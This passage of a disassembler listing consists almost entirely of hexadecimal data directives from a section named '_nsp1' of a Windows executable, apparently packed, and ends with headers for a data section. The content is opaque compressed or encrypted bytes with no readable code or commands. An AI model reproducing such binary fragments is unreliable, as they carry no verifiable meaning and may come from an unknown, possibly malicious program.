dd 5F4B25Fh, 231D943h, 165F2AD7h, 167DBE01h, 4842AAA4h
dd 0B3EB923Dh, 48F33501h, 57059901h, 24676ACh, 6D1A96CFh
dd 0F347BBA0h, 72C597A2h, 0D3B7B932h, 3AB38AE3h, 898047B1h
dd 0DDB48A56h, 65EEA60Fh, 0E0387BEEh, 930A6C34h, 47C48B5Bh
dd 0B566DC86h, 0CD50762Ah, 99D96516h, 0C6836F51h, 36F4054Fh
dd 0CD2B543Bh, 0A948FCB0h, 17FA2414h, 0DBDE9855h, 0E878523Bh
dd 7673579Dh, 8D7B6CA8h, 0CDFAD2ADh, 882544CCh, 2E481782h
dd 550BFFDAh, 0A072A7ABh, 0AF65E53Dh, 0DDBC05F3h, 1E925C83h
dd 32D6FBCEh, 26E0629Dh, 0A2118155h, 0E99F6497h, 4AE3B964h
dd 0FDE5045Dh, 1FD57DB1h, 0B093D6B2h, 0F95B33F7h, 4BB315DAh
dd 6BAD39F8h, 70AF7B58h, 0E24327Eh, 2FAC0F1Ah, 2F5C8505h
dd 2D39488Bh, 0F6DA078Dh, 0AAE3A081h, 59270BE7h, 3DBA3636h
dd 0B44EBFEAh, 13234FBEh, 7F41F845h, 0F12DEF0Dh, 0E50A41DAh
dd 999685EBh, 0D337C987h, 0FD7D1CEFh, 3956C682h, 0B33715DBh
dd 0D274D3FDh, 0BA5CC3F9h, 0A2718F71h, 599515F5h, 0BE25167Fh
dd 8D7444B4h, 644E50C3h, 0D2D1EBA2h, 0A05FD05Fh, 0CC33EE45h
dd 67385666h, 0A0F9484Fh, 848B2282h, 7D87EB60h, 53A0E723h
dd 0AB852E11h, 45BE0C00h, 2401B068h, 95D1EBB8h, 7ED6ED2Bh
dd 777F5730h, 868D4D9Ah, 5FE941CBh, 4BBF9DE1h, 14B4E82Bh
dd 4912624h, 5F799B09h, 0FF26749Bh, 9A059B3Fh, 4F341730h
dd 397C90C4h, 94FB2E50h, 0F47B1C63h, 16CFF1E2h, 0F259370Ah
dd 6EDAC1D5h, 0C7C2E9CBh, 96C5A0AFh, 344EB054h, 347E015Fh
dd 0B223ADA5h, 0E384B763h, 13763FF8h, 0DA81E2B0h, 16CBD448h
dd 8DA190Ch, 5F62988Eh, 0FF804A97h, 5AD7AA0Dh, 0FCC9A26Ah
dd 0A4789826h, 7DD62111h, 99169C3Ch, 4C0877A6h, 1C799CE6h
dd 29F0C408h, 58A7271Ah, 0ABA5723Ah, 6F564230h, 810257A3h
dd 0EB6256A5h, 23FD6752h, 51379519h, 5550F137h, 50D59828h
dd 0ADACC897h, 1C7E7385h, 0FC453760h, 0FC2236B3h, 758DFDEFh
dd 63704F1Eh, 3CEDCB52h, 704F947Bh, 58D83FCBh, 11622454h
dd 63891203h, 2365B6CAh, 513AB67h, 3E3F69A6h, 8D48B285h
dd 9F8764BFh, 4DCA98Eh, 0D1461570h, 0FE19C6FAh, 6CFEB7EAh
dd 9B0DC452h, 10F0BCEFh, 1FD85852h, 983ED7B7h, 34A64BA5h
dd 299B3DFEh, 0CF983FF9h, 842CFBD8h, 0CFAF05D4h, 8EDBA238h
dd 510D09CEh, 5E7D2A8Fh, 76F678CBh, 9C29369Ah, 3EDA858Ah
dd 0D9155A75h, 0E55FFC46h, 1CA2F79Ch, 0DEFD9BE5h, 0FC57D9AFh
dd 3AC9C514h, 5BB77FF5h, 33611456h, 9897B2Bh, 9AACF809h
dd 55662DC4h, 3415306Eh, 8F5C2602h, 0D888A2A8h, 116DCFE2h
dd 34E0974Ch, 8DD1BCE5h, 0B57B2862h, 485739D0h, 90F74093h
dd 0BE200DBh, 0B2735C66h, 8C887DE8h, 3A778D13h, 5A231350h
dd 312EF1h, 0B19B6C06h, 0C496321Eh, 0DA5A7BC5h, 80D5CB3Ch
dd 13A180FCh, 3E54D00Ah, 0FA720A00h, 0F2E59C7Ch, 729B4169h
dd 0A50920Dh, 0CB8A1FC7h, 0DB2B2BA6h, 4B65802Bh, 401EAF89h
dd 107121A8h, 5FE6887Ch, 18197F22h, 27D28496h, 9B84B0C5h
dd 0DB7968CFh, 8B713417h, 132F552Fh, 3B3F1812h, 0A5794A4h
dd 8B16C0C3h, 1A9DF9DFh, 9E17DA83h, 271CF73Dh, 45BECFFCh
dd 0FD5E77Ah, 0F58BC09Eh, 0EA813D97h, 79A2160Ah, 0E3E00F49h
dd 35DED2D7h, 6C553E29h, 1D09D7D1h, 58E2FA49h, 0A9FA97AAh
dd 3D6E211Eh, 0EAAFBBF7h, 768E74FDh, 6FFF324h, 11AE84A5h
dd 67468A1Ch, 0D497D350h, 8A835B9Fh, 844666Bh, 0F4670EF7h
dd 6FC525FAh, 4E78611Eh, 2DD8CCF7h, 441E745Ch, 32B34324h
dd 45EA0D7Eh, 725C1D99h, 730ACF23h, 64A9EA24h, 0BEF4B67Bh
dd 0D3E39550h, 7CA8E580h, 10835175h, 2FDB1B63h, 561D6D87h
dd 0C8891BFh, 6D013C9Eh, 9D52ED35h, 39A6A70h, 73756AFEh
dd 2AA3FC35h, 0A9B1C1h, 96B1A74Fh, 0D8D03379h, 84833981h
dd 931AAB18h, 0B2121BA7h, 81B6A921h, 0B9A59A32h, 984919EDh
dd 0C67B6BD7h, 0F02A4881h, 0C408C1F7h, 0BB07884Bh, 20580739h
dd 0E0EF447Bh, 0E0BF18F5h, 1B10D506h, 0A19153E5h, 37E8372Ah
dd 340B7B9Fh, 0E783276h
dd 82EB22BEh, 0FF0F1B0Ch, 417F0D05h, 4574321Ch, 923B2EF9h
dd 1B3862A5h, 0E2B31657h, 97090245h, 7094DCh, 0E1391C75h
dd 32C97BD0h, 0BA59E4D7h, 6B6D6E8Fh, 96BB8C10h, 0A3C5156Eh
dd 47D952AAh, 0AE6CB083h, 0AA123CEDh, 795CF249h, 57643A8Bh
dd 80154F73h, 357829CAh, 106C2A1Dh, 0D275C380h, 0DEFBB852h
dd 38AE3ADFh, 79BD9D27h, 0C33055DCh, 90E4E784h, 0E5D7BC40h
dd 34887ED4h, 0CB039B85h, 56311A55h, 0CC0D6D9h, 0AC625BCAh
dd 73C9B8EFh, 0B291F2EDh, 0EA324E05h, 4FA33EC9h, 0A252EE58h
dd 59B80CD7h, 0FA60A13Eh, 5A7DE633h, 66067968h, 442B3BDBh
dd 6346306Dh, 0DFA75F0Bh, 336D5829h, 0D3108249h, 85D63B3Ch
dd 0FF6240F2h, 54674B8Eh, 9A81AA5Ah, 103F8E4Dh, 2865A832h
dd 0E9B84B2Eh, 0D75876C3h, 78B9351Fh, 54AF3ECAh, 347A2170h
dd 0C89A6D65h, 6DE9958Ah, 5D73C402h, 0A05EA40Ch, 6E8105F5h
dd 0D5C4F45Dh, 8D3D3D4h, 24248DA8h, 0E92E7E0Fh, 67C62176h
dd 0E3D6F806h, 0EA719F48h, 0AE1A207Eh, 515B543h, 4D8991F9h
dd 0F9157F88h, 0EFF141B5h, 0E9711478h, 3F165479h, 7A88EDB0h
dd 745EBB5Eh, 7633B78Eh, 5AD78FBAh, 5FACB5D3h, 61DE8AB4h
dd 130547EFh, 0E2037DDCh, 25A776FBh, 294027D3h, 0B7A02D18h
dd 0B8DFE361h, 0D20F5998h, 1A2DCB99h, 240D7CDAh, 94219662h
dd 42B97425h, 0D36095F8h, 7292D58Dh, 0D07A4277h, 6A03E921h
dd 0A7740B6Ch, 0CA6A7486h, 380B9D2Dh, 0D6E4B41Dh, 5D01BE97h
dd 7BCAB07Bh, 9FE65F0Ah, 918E9CE7h, 0FF2EC30h, 0DCD9876Ch
dd 2FCFC402h, 6BE709ABh, 0A71E97Fh, 4FE6BF5Fh, 1AAC7A96h
dd 1B52F0B7h, 0FE54E0F7h, 101A6930h, 0A5E4872Ah, 963C3781h
dd 0E269725Ch, 0BE49CBB1h, 0D4113E53h, 239A3891h, 2D5C2386h
dd 14EE5A2Dh, 10BA76B2h, 6520726Ch, 0C35EF392h, 0B0F75217h
dd 86D5C70Dh, 4123C31h, 80F9B410h, 39916F70h, 0F0ABB6D9h
dd 0D39A7800h, 2963ABDh, 76180BEBh, 0FDC0E4FEh, 6A6579B3h
dd 0FA5C76C2h, 0E42182DBh, 0B7DDAD14h, 155EC456h, 1EDE40CEh
dd 977A64F5h, 0ECDAE870h, 0DB8BF004h, 0FDA90372h, 6F87BF54h
dd 4B9CC347h, 0FCE3E9DBh, 9B25302Eh, 2F2CE89Eh, 7CBB7251h
dd 9AE12F49h, 0A7DDCE25h, 72CA03AAh, 70A64933h, 97C862BCh
dd 0E6C0CA68h, 8E7B67E1h, 90B15285h, 670AB443h, 5FB9A348h
dd 0CE68D663h, 1109C97Eh, 0CAF52D47h, 65649E0h, 673B3148h
dd 0BE9F54C3h, 0CFFACC3Dh, 0C1EF0411h, 0F2E4B09Eh, 3B09212Dh
dd 885637D9h, 79BB7CBBh, 37F746C5h, 0BA2416ECh, 0BB5E4885h
dd 0D0356F1Bh, 0C458EE71h, 0F3DBD3FDh, 664CC41Ah, 1BDF8B43h
dd 6C128C4Ah, 7376C6A9h, 3EAF6DC6h, 5F8E9CEFh, 0BCC8CDCBh
dd 1D4356A1h, 86A001A2h, 3FDF820Ch, 7C6293E5h, 8F0E595h
dd 6DC78360h, 96A2DA40h, 6FD874AEh, 0B5D664C5h, 3A2AF3F6h
dd 10165F92h, 0C9581AA2h, 76E8AE06h, 82A72E21h, 698241h
dd 41AEF65Bh, 0FB6EDF37h, 6DD1F792h, 97AE5E05h, 33DC9833h
dd 54306F4Eh, 0E5615DF6h, 44E9212Dh, 0FE3B684Fh, 7F1E997h
dd 0C35D878Ch, 61598BC6h, 0C878F8F5h, 63BEAC58h, 0DFC7FE59h
dd 9CB79005h, 33FBCC90h, 0FC183B94h, 8399D750h, 10C2AE53h
dd 0B95667A3h, 35715280h, 5433E81Ah, 0DB75460Ah, 0C0044B1Bh
dd 0E1445740h, 95A5DD78h, 0A200DFD9h, 0FBB3E81Eh, 2562A34Bh
dd 0F1C6596Dh, 6B4AAB08h, 9D2F2E63h, 544C699Ah, 0A32AC230h
dd 5D4F422Ah, 401BB473h, 246EAAB7h, 4FF39FAEh, 7D114090h
dd 0FF6C7A8Fh, 0A9DEDAC9h, 43688FBh, 0F5CFA31Eh, 7CE95683h
dd 9068E1A3h, 0E4C2E21h, 3CE60601h, 78CAB27Eh, 8836F142h
dd 12503527h, 0A4B53F32h, 9A4EA09h, 51C29ED2h, 0D32AB0FCh
dd 17B95A2h, 92DC201Bh, 0A0745A15h, 302B4A67h, 0DDAB4932h
dd 2EFFB0ABh, 0C8FD6DFAh, 0EDC1A482h, 0AF487F15h, 2539ADC5h
dd 89F1B6FCh, 0D82F7625h, 8978E7A7h, 9824A6CEh, 2E85C36Fh
dd 67FF57F3h, 0E6FC77CFh, 0A64C201Dh, 0CD5BF4A3h, 6A7FB033h
dd 49F7FAEDh, 0C52BB510h, 3E462D53h, 0CFC8A782h, 9CE5E08h
dd 98E00F22h, 0FFEC135Dh, 7145EA24h, 0E1500D96h, 112A3053h
dd 0B275FEE0h, 0A6AEFBA8h, 6B2BF3A6h, 95DDA5D2h, 6EB4CFB6h
dd 0AA745C71h, 946F244h, 0B1701463h, 0E3AEABE3h, 0AA943B9h
dd 0DD23DE4Bh, 85E9079Fh, 0AB2E8CAFh, 857425CDh, 0FD644ACAh
dd 7CF8A4C4h, 2FABBBC3h, 64285778h, 47C3CDFh, 3460634h
dd 0D2C852B7h, 24D94C77h, 0F75F6A1h, 0CBA674BEh, 8D94FFC2h
dd 0B24C5815h, 7E6B6533h, 5F19233Dh, 1CB6A09Fh, 2698DF67h
dd 0A988A9D8h, 0FD156937h, 566A948Ch, 0D79E234Bh, 93BC8475h
dd 0FE35EE08h, 2CBA2FF3h, 6FA0FAE6h, 5B649F52h, 2293C072h
dd 37631852h, 0D0F0F76Fh, 33FA3AA6h, 0F81DDF29h, 62F13F20h
dd 0D1F19A21h, 1B5E69AFh, 0E0014E76h, 0C94860F8h, 0F36BC4F5h
dd 0B0CC3FC2h, 93946034h, 87FFD396h, 2BDA8F07h, 29578320h
dd 63B83BAFh, 2D14336h, 3193A4Dh, 16DB6E89h, 996FF4CCh
dd 3B1A9ACCh, 18E0B3BEh, 4A8BAC82h, 0BD616040h, 0BECD932Ah
dd 64F72639h, 0C2A1BF9Ch, 52D5BB20h, 1ECD742Bh, 0F942205Bh
dd 0F83D53DDh, 3B096429h, 6C2ACB80h, 0F03BB5DFh, 5F2EBDC4h
dd 4B3E0FAAh, 13904266h, 9310FF0Eh, 597871F8h, 0FFCD0BF8h
dd 0F462895h, 0DE7CFCA9h, 2E309AFBh, 858FC056h, 0C08183F3h
dd 5325C465h, 3691F5F8h, 0B0A50531h, 70C16FEEh, 0D10C474Dh
dd 0ADAA1191h, 0CEBA1D60h, 5C1827B1h, 0DB217F59h, 698D6911h
dd 6743D22Ah, 0D71BFC93h, 0B1501B98h, 197C571Bh, 0C489A22Bh
dd 0F20F8612h, 0B8AAA741h, 0F2342CF5h, 45F8FDE1h, 78296B3Bh
dd 90943831h, 651797A2h, 0CDB7BB9Ch, 53A1B3A0h, 2024FEC5h
dd 800CA942h, 0ECA3BDCEh, 0F21BDECDh, 0D723DD17h, 0C15893F0h
dd 8F1DA581h, 63A4F503h, 0C0ADD43Ch, 6306AE05h, 0F4A10824h
dd 77B354F8h, 9AE82FAh, 780E4CF9h, 32A20C05h, 0DC776A58h
dd 4D3ECEA5h, 892F985h, 9778380Bh, 9F15045Bh, 58010E00h
dd 441605E6h, 0C5EBB523h, 989DEAC7h, 0CEAC5BA6h, 539C77AFh
dd 0DDBFEA90h, 88F47CF0h, 118A89FDh, 0ACB74CEBh, 0E73FC243h
dd 66946ADBh, 1CFCD4E1h, 101A2DD0h, 80D95FE8h, 764BF7A8h
dd 0E56ADD35h, 0B2B5133Dh, 0A3FBEE88h, 0DBE0950Ch, 0E7E8FB4Eh
dd 0BA9F77C1h, 8BBD1904h, 8EA71FBh, 7FFDC96Fh, 102B82A4h
dd 0E8196535h, 7A56486Eh, 9494806h, 770EBD99h, 0E9E22161h
dd 580C3902h, 0F1B38B71h, 0F9AD646Ch, 698A786h, 36334F9Fh
dd 0DDD4B5C9h, 18B6BC88h, 398ADF44h, 1D0DE281h, 0D55A8C4Eh
dd 0DA5ABAD6h, 6591A64Dh, 350E300h, 0CFDF3D14h, 4E014390h
dd 651371FDh, 0ED2569D6h, 0B09F96E9h, 327FC73Bh, 6C4AAC26h
dd 33D76F1Ch, 0E460BFF0h, 0CF8213E3h, 998DC638h, 7D6D4C96h
dd 0CEE8ACE2h, 0F42804D6h, 0C75E12CCh, 0C3807133h, 6B4037D4h
dd 0F3406F0Fh, 6CA1B07Bh, 5D333CA5h, 0B9179A00h, 0BAFDBC68h
dd 9009795Dh, 9F3C7DC7h, 2F68673Eh, 0D5C9303Bh, 0D97511BFh
dd 0CF2C2208h, 0E36AD8D5h, 58B41218h, 0A82F208Bh, 0A6403F1h
dd 0AC3CB7EDh, 0CC47142Bh, 7296C82Dh, 0ED344BDEh, 0C76B2D9Ch
dd 0AC452E89h, 3FB88833h, 7E1D1593h, 0A88DB411h, 0AA739F95h
dd 6A6B3EC8h, 0CA476356h, 77D66B57h, 0E5F587E4h, 9EB0E7E5h
dd 14CDC2D3h, 52921EB1h
dd 1949B715h, 0B5688D3Eh, 9A7BBA4Eh, 6AE2B828h, 2815F0FFh
dd 0AB530160h, 0A749853Ah, 0D534E5A8h, 0A82E9C12h, 62E57502h
dd 0C414675Ch, 0D19B3195h, 908C46BAh, 3A6BE4ACh, 9D3F549Eh
dd 7EA53887h, 2B015684h, 0B0AA18E5h, 4693693Ah, 5E653AABh
dd 7167D580h, 0D4E0D3E6h, 31F81CF1h, 0B56C5BE8h, 57881545h
dd 4AAA9C8Eh, 621ACCBEh, 0BF2A4E62h, 0A14A3618h, 517653C3h
dd 807E38C2h, 0C0AA3B73h, 0A2BD61AEh, 0CB472908h, 0E19E444Ch
dd 4CFBE3BAh, 7D5C95D5h, 44A389E5h, 7F381929h, 2C828A4Fh
dd 6B7F9CC4h, 0BF508E46h, 45A0CA75h, 24989B9Eh, 0A0A34C8Bh
dd 0BB4555B0h, 3D6C5F8Bh, 0ED2B921Eh, 0BBCC82F0h, 87EEA481h
dd 0F335A941h, 1C70BE85h, 7AB226CFh, 0FEB27FCBh, 0B5670579h
dd 9490C405h, 6D95694Bh, 0E6630848h, 89B7FA9Bh, 4753478Bh
dd 1737F8EDh, 0AF24AB5Fh, 62BEA8FBh, 11CD932Fh, 5AF1B75h
dd 43A443Eh, 0D7475A35h, 0BECB2AD6h, 4485AD2Ah, 24BB7A60h
dd 0FFA8DBABh, 0FA801D1h, 9C1822BBh, 0C240CBF5h, 7AEED2E7h
dd 0FD6009EBh, 0C5E34BC4h, 90F935F5h, 0C9C4614Bh, 65076CF2h
dd 71360ED0h, 69541FF0h, 4E6C2BF7h, 898A1438h, 0B31BDFFDh
dd 0DB6A63A3h, 9A040F54h, 3C116BA7h, 23E92E22h, 5C958938h
dd 0ECA45B14h, 0D3374319h, 8084FE12h, 0E3CC2395h, 64676B98h
dd 9FCE219Bh, 5A0B5D47h, 9C085109h, 0AC0C6376h, 8812F520h
dd 0EC8D91CFh, 0F69BC7F6h, 0CEC1D7Eh, 14C1FE93h, 0BCC9E5Eh
dd 421794D5h, 0A4DFB9Ah, 53805B89h, 9B0B6802h, 3EE28826h
dd 0F091CEA9h, 22132ED5h, 0B4AD763Fh, 0FE261AC8h, 68DC92B4h
dd 0A68DFBB5h, 5F377760h, 0D012426Eh, 24B6B115h, 0C163552Ah
dd 1E4D2CF7h, 0F2B8B3F2h, 38E68555h, 0D0CB5BB0h, 2C102F99h
dd 0A5ACC8D6h, 88CF3B49h, 0B3C5DBA1h, 0EEB9B6E5h, 0FC4E0843h
dd 6DEBC4F6h, 8ADFDABBh, 38ACBF88h, 0BAF319DBh, 28902101h
dd 4B8E40D3h, 7B251297h, 0D00EB990h, 70708AC5h, 80D3A2F2h
dd 0D966E762h, 0F038B642h, 2401193Ah, 0F3A2138Dh, 0FF77AC11h
dd 67D22559h, 3D5B7E97h, 37A443D1h, 9BA88367h, 3FCB80BBh
dd 0C80492A1h, 2DC4EF1Bh, 46AFE47Ch, 0ADDEDFB8h, 2923375Ah
dd 7544AB73h, 0BFA1EF7Ch, 0F129C558h, 8D6E0BDCh, 0E8200166h
dd 0E4F4D9B4h, 7E53454Fh, 6173DFCEh, 70835EF1h, 9C9F4D1Eh
dd 0E90971E7h, 0FDBEBA7h, 848AE47Fh, 32F98BCBh, 0A674863Bh
dd 364A2ADFh, 0A0D36146h, 947D5FBEh, 380A3CACh, 0D91565E6h
dd 475AA559h, 0ED746C44h, 4D155A9Dh, 0CE87E4D9h, 98ECCC33h
dd 3C8DD1A7h, 44280912h, 7E9C3737h, 0ACC545F4h, 464202A0h
dd 0C5B364Eh, 59035C72h, 7655F41h, 0BD9B7B3h, 33617BC0h
dd 0CDADAD8Eh, 0FBCA5D07h, 1C90BE79h, 0EE54FE73h, 0FC7329EAh
dd 0FDFD1FD3h, 80A2739Ch, 5097F016h, 823C688Bh, 14D39C7Ah
dd 366039CDh, 57F62C4Fh, 0B2D8BE59h, 0D499F368h, 0ED5A4187h
dd 25C75733h, 988D489Ah, 0C931315h, 15C69DA7h, 95131FC0h
dd 0AA179AFAh, 89E9AF3Dh, 78615ECAh, 0E83CD098h, 6C4081D4h
dd 68778CEh, 8B7051E4h, 163BB758h, 2ED20396h, 375F3635h
dd 0D3771591h, 14A4881Ch, 66650B41h, 21593EDh, 0EF7A0BDDh
dd 2035A9B6h, 0A711C88Ah, 0F8A65422h, 51DDF03Eh, 3C04C7CCh
dd 98FB7B8Eh, 3E7ADC2Eh, 1DE0D608h, 0E5E5B949h, 0E09825EBh
dd 0A0BCF401h, 892595E8h, 0CF213E5Ah, 0DAE85D7Dh, 11C5D3D8h
dd 1A3D7FFCh, 5CB06440h, 687252C1h, 8D8F657h, 3F9DBC3Fh
dd 0CB0A0480h, 570F7A35h, 60A1D040h, 8ACFA227h, 5004D4F9h
dd 0F039758Dh, 8D54A82Fh, 7B5E2DF3h, 2C3AD9CBh, 0FB7E384h
dd 3C7E62E9h, 0E7B6CC12h, 8198B719h, 8B4FBB44h, 209404F7h
dd 0A229D8E1h, 66C937CAh, 8016A42Ah, 4505E67Ch, 1E0D20E1h
dd 73E9EE96h, 51C31CA4h, 230BC354h, 0E9395C63h, 95EEA7CFh
dd 1931DA43h, 978188D6h, 0E76B87F6h, 0B732584Fh, 0B192BBC5h
dd 0A59A516Eh, 75BAD04Ch, 881FCB3Eh, 9381B1A3h, 6F7A1664h
dd 0FFD5D03Eh, 0E4D786E9h, 782B64F1h, 803417BAh, 43962613h
dd 1E1D220Ah, 7779CD0Ah, 5D34F3C7h, 0AB9A6E53h, 3B7979FFh
dd 0D0B556DFh, 5F6E2BBh, 3C1CC188h, 448C566Eh, 6CA6FB29h
dd 7E22AC5Eh, 249D8792h, 6821B2FAh, 0F9255981h, 0AAE2374Fh
dd 0BC1E4770h, 0BB9890A5h, 0C052945Ah, 45495C78h, 0CC1FD39Ch
dd 0B7282B3h, 9D2F3721h, 0F11BB45Eh, 0E4ED2FAEh, 0B0B2FC74h
dd 3164AAC7h, 5177CABFh, 0DEB37B76h, 0ED9F06E3h, 86044CFh
dd 585F1019h, 0FB1954AEh, 7F682BDFh, 7324B75Ch, 237AB6D0h
dd 0F70B2BB9h, 6A913357h, 0AEDB6129h, 26722D55h, 0FAC2FB94h
dd 0F4D3B4A7h, 0D1600BC1h, 3892B48Fh, 51807E76h, 756448Bh
dd 255F9795h, 0B2EEDA2Bh, 90190DA3h, 6B6257CFh, 530026B1h
dd 22523AFh, 0F0654BCCh, 66584A25h, 0F34768D7h, 96C9AFEEh
dd 0F4A5ECF4h, 2FF3240Ah, 698DDE5h, 88805BA3h, 40F2158Eh
dd 4D288D77h, 2844D5FBh, 41A65468h, 222DB9E1h, 31069FF4h
dd 9C014753h, 0CB6D05B2h, 4CF69E0Ah, 85F7F58Bh, 50F30802h
dd 0DFE08251h, 668B771Ch, 0CB1AC6D0h, 0C73279EEh, 91918754h
dd 51540BB9h, 5CA5FAD2h, 0EA788070h, 15B3E4E1h, 0D58529F1h
dd 0C6D8B7A8h, 0ED06C983h, 4F3BB093h, 1111161Fh, 0CE996FB1h
dd 0A72AD89h, 10017906h, 3D703AFFh, 1F297781h, 1EC992E9h
dd 8E1BFC57h, 684909CFh, 8635DA22h, 3A6FB5F0h, 75B078F6h
dd 0B426DF1Ah, 4FD0E7D5h, 2761E3FCh, 71BCC535h, 7519C36Eh
dd 3B50A8F8h, 42914F6h, 48ACFFB0h, 50D4E026h, 93B8C6A2h
dd 34BF45B2h, 3BAD908Ch, 5F17CA0Bh, 7FCCE560h, 0B91EABDCh
dd 0B38C020Ah, 12EA8C6Ah, 0F25F0C77h, 44848518h, 0C764241Eh
dd 120914B2h, 0EFA893B3h, 0F4A83ECBh, 0F409F930h, 320708E1h
dd 4F5A3009h, 0E35886E3h, 7F3EC87Dh, 74711879h, 0E5EACF5Ah
dd 4A8128C1h, 0B27F3C2Fh, 39333A2Ch, 5DF93643h, 0FC05E7DFh
dd 5466963Bh, 2614994Fh, 1F007F82h, 91894BFFh, 93A01AE9h
dd 26F4F034h, 917DFA02h, 0B83FB542h, 1C74A17Bh, 0D348128Bh
dd 0D3B0701Bh, 63DE80CFh, 0C2197C21h, 55AF7506h, 7C6AA3ACh
dd 0EA6CB598h, 54D89617h, 0E7F1CF16h, 12D3E6F2h, 80440CFAh
dd 0D7F06B7Bh, 38DE866Bh, 0FB9AC88Fh, 0B4F09C65h, 6387B96Ch
dd 59EA7BEAh, 10564BF2h, 54093924h, 0EAAC9C0Eh, 3B1D6939h
dd 24E20182h, 0F57A68D8h, 3BD00D47h, 0A42240D4h, 0C2C6346Ah
dd 997C7E62h, 2ADC9524h, 5830C7Ah, 0CF0A54C7h, 287DED95h
dd 6FF08B63h, 0FA64FB31h, 257F5F36h, 5FB63BFh, 0F654D5F7h
dd 0A36CED79h, 81894C59h, 0EFEE3420h, 0B8E2F1F0h, 0FF8649A6h
dd 5390BACFh, 3D219504h, 0A4A8B4CAh, 1E471141h, 5E95E59Bh
dd 766596B0h, 3A86BB2Ch, 7EA0C1F3h, 4F0B03A7h, 840AF531h
dd 2CA533E0h, 0E43DEFF0h, 9464052Ch, 626C866Ah, 0CDF0CFAFh
dd 4EE7FCF2h, 0FD1FC100h, 0B9A46617h, 0BB448A37h, 4357E05h
dd 0FA4086ACh, 18A958BFh, 813BDD19h, 7C17CD9Ah, 0DD93D874h
dd 0BC9BFD79h, 0E4F34324h, 6C772431h, 3805DC5h, 3745C4E1h
dd 0A601BBC6h, 908E2459h, 367355B0h, 9D5A6169h, 8CEA6339h
dd 0F6308FC1h, 0B35DAC6Fh, 764505EAh, 0FC425586h, 0DAC24BD2h
dd 0A65D88C4h, 0C98085B6h, 9DEBEB55h, 67755C91h, 98DE1154h
dd 0F19B258h, 7358024Dh
dd 357AB8C0h, 0B15C6373h, 3C932FAEh, 0BFC50A4Fh, 56DD4F27h
dd 0ACE57F7Ah, 2D0485F0h, 25C7E506h, 3D96341Ch, 137A94C4h
dd 0DA3BC2FDh, 0CD6E95CFh, 6F358BD2h, 0EAFA8231h, 76C1D220h
dd 5310CB57h, 22324088h, 93D4063h, 3F5364A8h, 60BF4AA0h
dd 4A83435Eh, 0D2CAA5E8h, 98A9D438h, 0E5D2F0BFh, 6C19759Dh
dd 0DC88C338h, 80DFA4E0h, 0C2BD2BC7h, 0FFE5B86Ch, 226E451Bh
dd 0C7F05920h, 3ED9FFA8h, 0E9D15651h, 0A9754B53h, 79091E8Eh
dd 4854517Dh, 63742434h, 8E77D232h, 0EBE6B38Ch, 4ADDE44h
dd 0EA283651h, 966793A4h, 0EE32B2FFh, 16F178DBh, 9970076Eh
dd 0D5F17731h, 3AF020E8h, 713A16E2h, 0A9F9AADBh, 0FABFE051h
dd 0A8BA8742h, 8422C035h, 0AB8AB382h, 2CC66D5Fh, 0E4F62576h
dd 9931B5B5h, 3FDA74CBh, 0B6CD6639h, 35336196h, 0A17F5C34h
dd 0A83F8D80h, 28D90740h, 6B6AAE13h, 0F9E0D7F1h, 2117F6FDh
dd 301303DEh, 0F9F0B72Fh, 0D635106Eh, 0B583C91Ah, 3517536Bh
dd 0F04DDD3Dh, 0AA332229h, 73AB7AD8h, 91E09915h, 587911FDh
dd 6B38A9FFh, 0EFB3B654h, 6405BB71h, 0B591E09Fh, 0F045A86h
dd 334CDF5Eh, 0AB7D0710h, 0CCB61F06h, 0CB10967Ch, 33E7F123h
dd 0F6056EB8h, 0FE2D5E83h, 0C8831789h, 510B7AEFh, 0E995874Eh
dd 0FDF17338h, 99975407h, 0EE201CB5h, 0B092D8ADh, 3BE7F88Ch
dd 1B392092h, 5C68D0EFh, 36B4C85h, 0AAECCAF6h, 9200825Dh
dd 0CD57E349h, 0ADF23A1Eh, 1428EAABh, 7B904889h, 86E2968h
dd 0F6B38473h, 5C2C27C2h, 0E5DE7881h, 0B0DC1F73h, 2AA028Ch
dd 0F29CD835h, 0B0CDD8Ah, 0EF4A8C91h, 593CE4F2h, 0AD0DA796h
dd 85D93D9Ah, 6273D630h, 43C1A6AAh, 0C5576F98h, 0E1E55D04h
dd 6F927800h, 0E1125F00h, 0A64C6A8Eh, 0C75E03BFh, 0B29179EEh
dd 3E846332h, 0EC234A3Fh, 0D893A4AFh, 0AFF355FFh, 399A5592h
dd 24352DCh, 362BE1E0h, 82E4B752h, 0BD7A5E26h, 0F69DBC4Ah
dd 0A1CDA52Eh, 727FABE2h, 0C9F9E6F4h, 0E50D6435h, 0A2A80BC8h
dd 9218C3C4h, 182D5E57h, 0B550C633h, 0DAA0FB3Ah, 7C91FEDEh
dd 2A1B701Dh, 0DB44D6D0h, 0AFE2FCA8h, 0F5EC4226h, 0FDAA5036h
dd 0EE4692B7h, 7267CCD8h, 0FC00704Dh, 1AB2E905h, 0A5A82CDEh
dd 185CA3F8h, 0A84593C4h, 0E9A69F10h, 0ABC6649Ch, 0A61643AEh
dd 50054DCAh, 4238E6A8h, 0C987199Ah, 7B959B16h, 78D46842h
dd 0EF2BF0E3h, 49F17A23h, 43D38D9Fh, 0E64C8F69h, 3DC725Ah
dd 0B3F6D9BCh, 1DED32BFh, 0F2A5404Dh, 776A460Ch, 31859444h
dd 0DFFE7F50h, 6ED35E5Dh, 0D9AFCCAh, 0BDE3FDA7h, 0F4902E5h
dd 85A65BE8h, 0D78B4485h, 5ABF52ADh, 98EA5268h, 0A648F727h
dd 0DC0B1AA0h, 1C887331h, 0F22DB42h, 0C728FD5Ah, 47298951h
dd 7045074Ch, 8CA671D7h, 7FC586C9h, 551CD9A7h, 0E3D9770h
dd 80D0DC30h, 0A01FA42Dh, 5810624Bh, 0A64FADCAh, 495D0138h
dd 0DB62F100h, 65A6AC88h, 15A2849Ch, 0FA0F72D3h, 20934411h
dd 1C4413F4h, 0DB218049h, 0CB3A4CD4h, 66D7F179h, 0F4E1B582h
dd 0B2321A40h, 41209421h, 0E515DE4h, 265E6123h, 0F7FC7CBEh
dd 7E796905h, 0F6FD1DF0h, 4DFBB3D3h, 169EEE83h, 2B7D1A40h
dd 8135F345h, 3BE262E0h, 4A49F024h, 5DC42195h, 0BDDE7AABh
dd 3FA69A22h, 1Ah, 4D5h dup(0)
db 2 dup(0)
_nsp1 ends
; Section 3. (virtual address 0011B000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 0011A600
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
